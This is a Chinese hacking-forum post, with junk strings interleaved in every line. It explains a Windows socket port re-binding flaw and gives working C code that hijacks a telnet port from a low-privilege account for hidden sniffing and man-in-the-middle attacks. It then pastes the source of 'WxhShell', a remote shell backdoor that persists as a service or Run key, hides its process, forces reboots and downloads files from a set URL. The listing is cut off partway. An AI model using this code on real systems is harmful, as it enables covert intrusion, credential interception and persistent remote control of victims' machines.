社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10724阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QZX~T|Ckv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cda!Mk:  
);*YQmdx'  
  saddr.sin_family = AF_INET; ( Y+N@d  
(~$/$%b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m~lpyAw  
? <Y+peu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p#SY /KIw  
U$H @ jJ*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #wc \T  
^ FZ^6*  
  这意味着什么?意味着可以进行如下的攻击: w'X]M#Q><  
oo=#XZkk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *_ +7ni  
Gn)y> AN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "lNzGi-H  
]I/Vbs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M0| 'f'  
.)|a2d ~F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G pbC M~x  
cECi')  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 htm{!Z]s0  
q> s-Y|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4wi(?  
Xnuzr" 4u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /U6% %%-D`  
mp~{W  
  #include fbFX4?-  
  #include Qp2I[Ioz3  
  #include 9_fePS|Z4  
  #include    wh:1PP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VR!-%H\AW  
  int main() 51# "3S  
  { &x-TW,#Ks  
  WORD wVersionRequested; qn"D#K'&(  
  DWORD ret; `o79g"kxe  
  WSADATA wsaData; !:LJzROh  
  BOOL val; 4yaxl\2  
  SOCKADDR_IN saddr; T\VNqs@  
  SOCKADDR_IN scaddr; x90jw$\%7  
  int err; l7JY]?p  
  SOCKET s; 5 cK@WE:  
  SOCKET sc; Px5t,5xT8  
  int caddsize; 'SLE;_TD  
  HANDLE mt; \Hqc 9&0  
  DWORD tid;   n:U>Fj>q  
  wVersionRequested = MAKEWORD( 2, 2 ); 0Q593F  
  err = WSAStartup( wVersionRequested, &wsaData ); nK3 k]gLc{  
  if ( err != 0 ) { 7&O`p(j  
  printf("error!WSAStartup failed!\n"); )4xu^=N&as  
  return -1; %~j2 ('Y  
  } .[DthEF  
  saddr.sin_family = AF_INET; a;$P:C{gj?  
   &V7>1kD3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *QM~O'WhD  
69kJC/1+l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w:o-klKXY  
  saddr.sin_port = htons(23); iRG?# "  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bg?"ILpk  
  { ^*R(!P^  
  printf("error!socket failed!\n"); 9umGIQHnil  
  return -1; >EXb|vw   
  } v&g0ta@  
  val = TRUE; -~)OF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +Ra3bjl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %;z((3F  
  { @\(vX]  
  printf("error!setsockopt failed!\n"); ?IX!+>.H  
  return -1; OlxX.wP  
  } Q\{x)|{$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &"uV~AM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w W$(r-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ovf/;Q/}  
WW@"Z}?k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &jV_"_3n  
  { ~9D~7UR  
  ret=GetLastError(); ^_p%Yv  
  printf("error!bind failed!\n"); d0 er^ ~  
  return -1; %up}p/?  
  } ;52'}%5  
  listen(s,2); Jf:,y~mV  
  while(1) +rNkN:/L  
  { H L<s@kEZ  
  caddsize = sizeof(scaddr); YpdNX.P,  
  //接受连接请求 FM^9}*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HTz+K6&  
  if(sc!=INVALID_SOCKET) c\cZ]RZ  
  { MM{_Ur7Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $2z _{@Z  
  if(mt==NULL) X`zC ^z}  
  { eukA[nO7G  
  printf("Thread Creat Failed!\n"); !- ~ X?s~L  
  break; \tJFAc  
  } ;n#%G^!H  
  } 9x~-*8aw  
  CloseHandle(mt); OIaYHA  
  } 3$M3Q]z  
  closesocket(s); 0?Yz]+{C  
  WSACleanup(); E\2Ml@J  
  return 0; 8{&["?  
  }   dc0@Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) Az*KsY{/r  
  { #P2;K dDO  
  SOCKET ss = (SOCKET)lpParam; 7CvD'QW /  
  SOCKET sc; UWG+#,1J.\  
  unsigned char buf[4096]; Kf7WcJ4b  
  SOCKADDR_IN saddr; =N.!k Vkl  
  long num; ^!: "Q3  
  DWORD val; FT\?:wpKa  
  DWORD ret; h:qHR] 8dZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Edt}",s7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ruh)^g  
  saddr.sin_family = AF_INET; pe04#zQK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S;@ay/*~  
  saddr.sin_port = htons(23); ]j.k?P$U}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0=U70nKr  
  { S0@T0y#  
  printf("error!socket failed!\n"); LZ~`29qw(  
  return -1; ~o15#Pfn/  
  } T|'&K:[TJ  
  val = 100; l\q} |o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (wt+`_6  
  { k{Lv37H  
  ret = GetLastError(); Wr|G:(kw\!  
  return -1; HD# r0)  
  } ZykrQ\q9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z[!x:# q8`  
  { EZr6oO@Nc  
  ret = GetLastError(); 9q4_j  
  return -1; zj M/M  
  } !G=>ve  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |KG&HN fP-  
  { IS_Su;w>4  
  printf("error!socket connect failed!\n"); $Tl<V/  
  closesocket(sc); k khE}qSD  
  closesocket(ss); i Q`]ms+  
  return -1; DvT+`X?R  
  } /8CY0Ey  
  while(1) *{/@uO  
  { F&@|M(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]rX9MA6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sB7" 0M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o)]FtL:mm  
  num = recv(ss,buf,4096,0); y$oW!  
  if(num>0) i2F(GH?p[  
  send(sc,buf,num,0); aw$Y`6,S  
  else if(num==0) xks?y.wA  
  break; zNtq"T[  
  num = recv(sc,buf,4096,0); Lx+`<<_dJ  
  if(num>0) 12gw#J/)9h  
  send(ss,buf,num,0); W,NL*($^  
  else if(num==0) E/ O5e(h  
  break; E 5kF^P  
  } @FX{M..  
  closesocket(ss); %!W%#U0  
  closesocket(sc); L$JI43HZ  
  return 0 ; .9 kyrlm  
  } h[U7!aM  
j@P5(3r  
Di.;<v#FL  
========================================================== o~~9!\  
\graMu}-  
下边附上一个代码,,WXhSHELL  5H.Db  
%x2b0L\g  
========================================================== )/%S=c  
84`rbL!M  
#include "stdafx.h" GXeAe}T  
6"%qv`.Fp  
#include <stdio.h> 7*'@qjTos  
#include <string.h> rWr/p^~  
#include <windows.h> yh!B!v'  
#include <winsock2.h> ks:{TA27  
#include <winsvc.h> d.\PS9l  
#include <urlmon.h> l{EU_|q  
`p|[rS>  
#pragma comment (lib, "Ws2_32.lib") %cj58zO |y  
#pragma comment (lib, "urlmon.lib") |\{Nfm=:%  
OOLe[P3J3  
#define MAX_USER   100 // 最大客户端连接数 pG28M]\  
#define BUF_SOCK   200 // sock buffer JK^[{1 JI  
#define KEY_BUFF   255 // 输入 buffer Kq7C0)23  
~07RFR  
#define REBOOT     0   // 重启 NhDA7z`b'J  
#define SHUTDOWN   1   // 关机 a|.20w5  
[$:@X V(  
#define DEF_PORT   5000 // 监听端口 qy9i9$8  
QNJ\!+,HV  
#define REG_LEN     16   // 注册表键长度 tR O IBq|  
#define SVC_LEN     80   // NT服务名长度 CKC0{J8g  
JN^bo(kb  
// 从dll定义API ysth{[<5F3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5&(3A|P2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \3j)>u,r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3U o]> BG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZY Kd  
G+C} <S}  
// wxhshell配置信息 n_;S2KM  
struct WSCFG { 'z](xG<  
  int ws_port;         // 监听端口 DPeVKyjU  
  char ws_passstr[REG_LEN]; // 口令 {rfte'4;=  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y-~;E3(  
  char ws_regname[REG_LEN]; // 注册表键名 s!`H  
  char ws_svcname[REG_LEN]; // 服务名 5G oK"F0i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2fP~;\AP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "aA_(Ydzj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xq%*# )M;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O\JD,w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {9;eH'e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w`-$-4i  
U#"WrWj  
}; g-eq&#  
T0?uC/7H  
// default Wxhshell configuration nrbazyKm  
struct WSCFG wscfg={DEF_PORT, 2:~cJk{  
    "xuhuanlingzhe", /=ACdJ  
    1, Wxk; g  
    "Wxhshell", *#GDi'0  
    "Wxhshell", ?&\h;11T  
            "WxhShell Service", U%,;N\:_  
    "Wrsky Windows CmdShell Service", G{O\)gf  
    "Please Input Your Password: ", MC6)=0:KX  
  1, DUo0w f#D^  
  "http://www.wrsky.com/wxhshell.exe", N*':U^/t4J  
  "Wxhshell.exe" wO!% q[  
    }; >F|qb*Tm7  
xfes_v""  
// 消息定义模块 )^(P@D.L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6d};|#}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k%!VP=c4s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v*XkWH5  
char *msg_ws_ext="\n\rExit."; uZ<%kV1B  
char *msg_ws_end="\n\rQuit."; , | <jjq)  
char *msg_ws_boot="\n\rReboot..."; -[<vYxX:h:  
char *msg_ws_poff="\n\rShutdown..."; K+-zY[3  
char *msg_ws_down="\n\rSave to "; N+hedF@ZU  
*LEu=3lp%>  
char *msg_ws_err="\n\rErr!"; bkkSIl+Q  
char *msg_ws_ok="\n\rOK!"; c+wuC,  
t#{x?cF  
char ExeFile[MAX_PATH]; *{Yi}d@h(  
int nUser = 0; R @OSqEnr  
HANDLE handles[MAX_USER]; _ flg Q  
int OsIsNt; OMi02tSm  
p&QmIX]BZ  
SERVICE_STATUS       serviceStatus; W1;=J^<&1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C|9[Al  
=!YP$hfY  
// 函数声明 i<bxc  
int Install(void); 5U3qr*/;m  
int Uninstall(void); J+0/ :00(  
int DownloadFile(char *sURL, SOCKET wsh); U(P:Je  
int Boot(int flag); Z$1.^H.Db  
void HideProc(void); )ph30B  
int GetOsVer(void); h&q=I.3O|?  
int Wxhshell(SOCKET wsl); 7^&lbzVbm(  
void TalkWithClient(void *cs); R~!\ -6%_  
int CmdShell(SOCKET sock); ` %l&zwj>  
int StartFromService(void); 7x%S](m%  
int StartWxhshell(LPSTR lpCmdLine); gh'kUZG a  
Q|Nzbmwh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E`(5UF*>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T<XfZZ)l<`  
8B_0!U& ]  
// 数据结构和表定义 "wC0eDf  
SERVICE_TABLE_ENTRY DispatchTable[] = XRtyC4f  
{ IL2e6b  
{wscfg.ws_svcname, NTServiceMain}, wG;}TxrLS  
{NULL, NULL} :ao^/&HZ  
}; 219R&[cb  
(I>HWRH  
// 自我安装 prqyoCfq  
int Install(void) >eEnQ}Y  
{ F9F" F  
  char svExeFile[MAX_PATH]; 3>H2xh3Y  
  HKEY key; Tw}@+-  
  strcpy(svExeFile,ExeFile); j/~VP2R`  
vNPfUEnA  
// 如果是win9x系统,修改注册表设为自启动 4+-5,t7  
if(!OsIsNt) { v*smI7aH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "IOC[#&G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )nJzSN=>$  
  RegCloseKey(key); 1bT' u5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]"C| qR*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YGfA qI y  
  RegCloseKey(key); gHp'3SnS  
  return 0; >c}:   
    } q|R+x7x  
  }  ^8b~ZX  
} $xLEA\s  
else { e',hC0&S  
F19;RaP+  
// 如果是NT以上系统,安装为系统服务 %uh R'8"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l}dj{s  
if (schSCManager!=0) A>4l/  
{ +GRxHuW,  
  SC_HANDLE schService = CreateService K3a>^g  
  ( L-`(!j  
  schSCManager, Q -M rH   
  wscfg.ws_svcname, 7ytm .lU  
  wscfg.ws_svcdisp, .L~fFns/  
  SERVICE_ALL_ACCESS, n'! -Pv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !&'# a  
  SERVICE_AUTO_START, k,a,h^{}j  
  SERVICE_ERROR_NORMAL, Lr K9F^c  
  svExeFile, "1_{c *ck  
  NULL, T_3V/)%@  
  NULL, xWd9%,mDNR  
  NULL, .@4QkG/  
  NULL, ~l;yr @  
  NULL RmcYa j^=  
  ); *K]>}  
  if (schService!=0) dVasm<lZ  
  { '~ jy  
  CloseServiceHandle(schService); hVQ7'@  
  CloseServiceHandle(schSCManager); 9m%7dsv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e@='Q H  
  strcat(svExeFile,wscfg.ws_svcname); Z}]:x `fXd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pA*D/P-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zfk'>_'  
  RegCloseKey(key); =4YbVA+(  
  return 0; j:3A;r\  
    } ]$*$0  
  } HY*l4QK  
  CloseServiceHandle(schSCManager); Q3 K;kS  
} k/$Ja;  
} s#'|{  
i n[n A a  
return 1; 9itdRa==  
} n,C D4Nv  
l=Lmr  
// 自我卸载 -0=}|$H.  
int Uninstall(void) FCsyKdM  
{ c@0l-R{q  
  HKEY key; ek Y?  
q$e T!'x  
if(!OsIsNt) { $K=K?BV[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $#6 Fnhh}  
  RegDeleteValue(key,wscfg.ws_regname); /ig^7+#  
  RegCloseKey(key); u!=]zW%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >=.ch5h3J)  
  RegDeleteValue(key,wscfg.ws_regname); |N phG|  
  RegCloseKey(key); ;`X`c  
  return 0; J>,'P^  
  } fY| @{]rx  
} v*vub#wP  
} , V0iMq  
else { K8yWg\K  
GV `idFd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); umq$4}T '$  
if (schSCManager!=0) z{ Zimr  
{ !?tu! M<1?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $i1>?pb3  
  if (schService!=0) Hl4vLx@  
  { Y/?DSo4G  
  if(DeleteService(schService)!=0) { (hD X4;4  
  CloseServiceHandle(schService); e#76h;  
  CloseServiceHandle(schSCManager); +lY\r +;  
  return 0; :Su5  
  } hr/xpQW  
  CloseServiceHandle(schService); mI _ 6f~  
  } ;ph+ZV  
  CloseServiceHandle(schSCManager); +iZ@.LI  
} `Z;B^Y0  
} ,d/CU  
brp N >\  
return 1; [A.eVuV;+  
} Rx_,J%0Fq  
QjW~6Z.tI  
// 从指定url下载文件 *YiD B?Si  
int DownloadFile(char *sURL, SOCKET wsh) M8 ^ziZY  
{ S[\cT:{OE  
  HRESULT hr; 8ESkG  
char seps[]= "/"; _BeX7  
char *token; gn;nS{A  
char *file; ,=XS%g}l4  
char myURL[MAX_PATH]; ( S C7m /  
char myFILE[MAX_PATH]; X:zyzEhS  
'xu7AKpU)  
strcpy(myURL,sURL); ul5::  
  token=strtok(myURL,seps); A_X^k|)T  
  while(token!=NULL) qB` 0^V  
  { 8&`T<ECq>  
    file=token; v]d?6g  
  token=strtok(NULL,seps); I%VV4,I&pK  
  } b{yH4)O  
j3V"d3)  
GetCurrentDirectory(MAX_PATH,myFILE); //4p1^%  
strcat(myFILE, "\\"); MOH,'@&6^  
strcat(myFILE, file); do :RPZ!  
  send(wsh,myFILE,strlen(myFILE),0); EP% M8  
send(wsh,"...",3,0); Bt`r6v;\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /M{)k_V  
  if(hr==S_OK) 7\Yq]:;O  
return 0; &`\kb2uep  
else ;Kq<',u~  
return 1; n=#[Mi $Y  
<iY 9cV|}3  
} @/ovdf{  
[3bwbfHhi  
// 系统电源模块 sov62wuqU  
int Boot(int flag) ,M9hb<:m  
{ ,_4 KyLfBF  
  HANDLE hToken; +$pO  
  TOKEN_PRIVILEGES tkp; Q%b46"  
vp9E}ga  
  if(OsIsNt) { C9^elcdv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ) Sh;UW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qg8eq_m(  
    tkp.PrivilegeCount = 1; _oyL*Cb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oeU+?-y/b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `b,g2XA  
if(flag==REBOOT) { (HP={MrV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p_kTLNZd9  
  return 0; 5D q{"@E  
} r0XGGLFuZl  
else { >=RHE@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~A{[=v  
  return 0; K`AW?p^$Y  
} ^,\se9=(  
  } H"Em|LX^  
  else { :fMM-?s]  
if(flag==REBOOT) { I?xhak1)lu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^LAS9K1.  
  return 0; &opH\wa  
} Yh!\:9@(  
else { ;-P:$zw9c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F\$}8,9  
  return 0; C8%nBa /  
} $F==n4)  
} s13 d*  
rH9|JEz  
return 1; {Ac3/UM/  
} Q!$kUcky9  
q?b)zeJ  
// win9x进程隐藏模块 QH56tQq  
void HideProc(void) VE+p&0  
{ ohG43&g~  
i OA3x 8J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?eZ"UGZg'  
  if ( hKernel != NULL ) TTjjyZ@  
  { )}k`X<~k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >?Y3WPB<F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !-Tmu  
    FreeLibrary(hKernel); dIe 6:s  
  } cVt$#A)  
-Z#]_C{Y-)  
return; Wug?CFX+T  
} EC&19  
8CHf.SXh  
// 获取操作系统版本 'J<zVD}0  
int GetOsVer(void) |@uhq>&  
{ Hwi7oXP  
  OSVERSIONINFO winfo; =I*ZOE3n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B?>#cpW j  
  GetVersionEx(&winfo); c[e GpZ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tlv|To  
  return 1; MZ#2WP)F  
  else t3kh]2t  
  return 0; |x~ei_x7.p  
} |kRx[UL  
>Sl:Z ,g;  
// 客户端句柄模块 bu!<0AP"N+  
int Wxhshell(SOCKET wsl) [ZpG+VAJ8  
{ a~+WL  
  SOCKET wsh; z K]%qv]  
  struct sockaddr_in client;  7qdl,z  
  DWORD myID; "gVH;<&]  
QrRCsy70  
  while(nUser<MAX_USER) b8xfV{3L  
{ nT6iS}h  
  int nSize=sizeof(client); &ppZRdq]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pn){xfqDl  
  if(wsh==INVALID_SOCKET) return 1; 0Nzv@g{3  
oML K!]a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D}C*8s bC}  
if(handles[nUser]==0) C'#)bX{  
  closesocket(wsh); 6j.(l4}  
else o]k]pNO  
  nUser++; 2H0q\zZ  
  } "VhrsVT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z[I/ AORl  
%.  }  
  return 0; %1l80Z  
} st^N QL  
[ Sa C  
// 关闭 socket 5s2}nIe  
void CloseIt(SOCKET wsh) yH0ZSv  
{ 'g, x}6  
closesocket(wsh); ]$%4;o4O  
nUser--;  E8V\J  
ExitThread(0); FKTP0e7=9  
} $zH 0$aOx  
2G*#Czr"  
// 客户端请求句柄 `e:RZ  
void TalkWithClient(void *cs) UmMYe4LQR  
{ g0 U\AN  
X_yU"U  
  SOCKET wsh=(SOCKET)cs; i]Of<eQ"  
  char pwd[SVC_LEN]; Cl){sP=8W  
  char cmd[KEY_BUFF]; n/|`Dz.  
char chr[1]; /-9+(  
int i,j; 'cCj@bZ9X  
JHOBg{Wg  
  while (nUser < MAX_USER) { z:? <aT  
X Ow^"=Oa[  
if(wscfg.ws_passstr) { Q ?<9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Y$5g~3.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $6+P&"8  
  //ZeroMemory(pwd,KEY_BUFF); = nN*9HRD  
      i=0; M/I d\~  
  while(i<SVC_LEN) { |I<-x)joIK  
0p2O8>w^%  
  // 设置超时 4B,A+{3yL  
  fd_set FdRead; / =<u l-K  
  struct timeval TimeOut; tUnVdh6L.B  
  FD_ZERO(&FdRead); AMiFsgBj  
  FD_SET(wsh,&FdRead); QxL FN(d  
  TimeOut.tv_sec=8; =C}<0<"iF  
  TimeOut.tv_usec=0; lBC-G*#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zIm!8a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &xT~;R^  
ZX}"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )4C6+63OD&  
  pwd=chr[0]; - C]a2  
  if(chr[0]==0xd || chr[0]==0xa) { Q";eyYdOL  
  pwd=0; b,sc  
  break; xL"o)]a=  
  } j ZafwBi  
  i++; M- A}(r +J  
    } 55en D  
YCdxU1V  
  // 如果是非法用户,关闭 socket Z*B(L@H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (KU@hp-\  
} 0u9h2/ma  
BGjTa.&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |ZzBCL8q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nA j2k  
tS@/Bq('B  
while(1) { D'+8]B  
>C66X?0cd  
  ZeroMemory(cmd,KEY_BUFF); 1W7BN~p14  
~;s)0M  
      // 自动支持客户端 telnet标准   00TdX|V`  
  j=0; 6S&YL  
  while(j<KEY_BUFF) { |`/uS;O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m^+ ~pC5  
  cmd[j]=chr[0]; YtQWArX,  
  if(chr[0]==0xa || chr[0]==0xd) { N$b;8F  
  cmd[j]=0; I'YotV7  
  break; (`xnA~BN  
  } dkC/ ?R  
  j++; B\yq% m  
    } znRhQ+8;!  
g>CQO,s;w  
  // 下载文件 M*uG`Eo&  
  if(strstr(cmd,"http://")) { P ie!Su`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |0mI3r  
  if(DownloadFile(cmd,wsh)) _J!mhU A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (iP,YKG1?  
  else _ RYZyw   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K@lV P!z  
  } JR)rp3o-  
  else { %W+ F e,]  
CB1u_E_  
    switch(cmd[0]) { &o.SmkJI  
  z w9r0bG  
  // 帮助 m8'1@1d|  
  case '?': { 7F~+z7(h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h#nQd=H<g#  
    break; _%B`Y ?I`  
  } E]Q)pZ{Jb  
  // 安装 BD+?Ad?  
  case 'i': { l"8YIsir  
    if(Install()) 7L"/4w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jyr#e  
    else .IU+4ENSy4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] ={Hq9d@  
    break; cGKk2'v?  
    } 4N&}hOM'S  
  // 卸载 2D"/k'iA  
  case 'r': { O/nS,Ux  
    if(Uninstall()) nt6"}vO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @d|9(,Q  
    else rJ>8|K[kt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Yw6UCO  
    break; .VT,,0  
    } tHeLq*))  
  // 显示 wxhshell 所在路径 %b9M\  
  case 'p': { f -5ZXpWs'  
    char svExeFile[MAX_PATH]; Dl{Pd`D  
    strcpy(svExeFile,"\n\r"); ,d#4Ib  
      strcat(svExeFile,ExeFile); cALs;)z  
        send(wsh,svExeFile,strlen(svExeFile),0); %s>E@[s  
    break; /Z_QCj  
    } KMZ`Wn=  
  // 重启 rf@81Ds  
  case 'b': { |*i-Q @ D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WW=7QC i  
    if(Boot(REBOOT)) ?|\Lm3%J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8l+WF4q  
    else { M;R>]wP"V  
    closesocket(wsh); Tx_ LH"8  
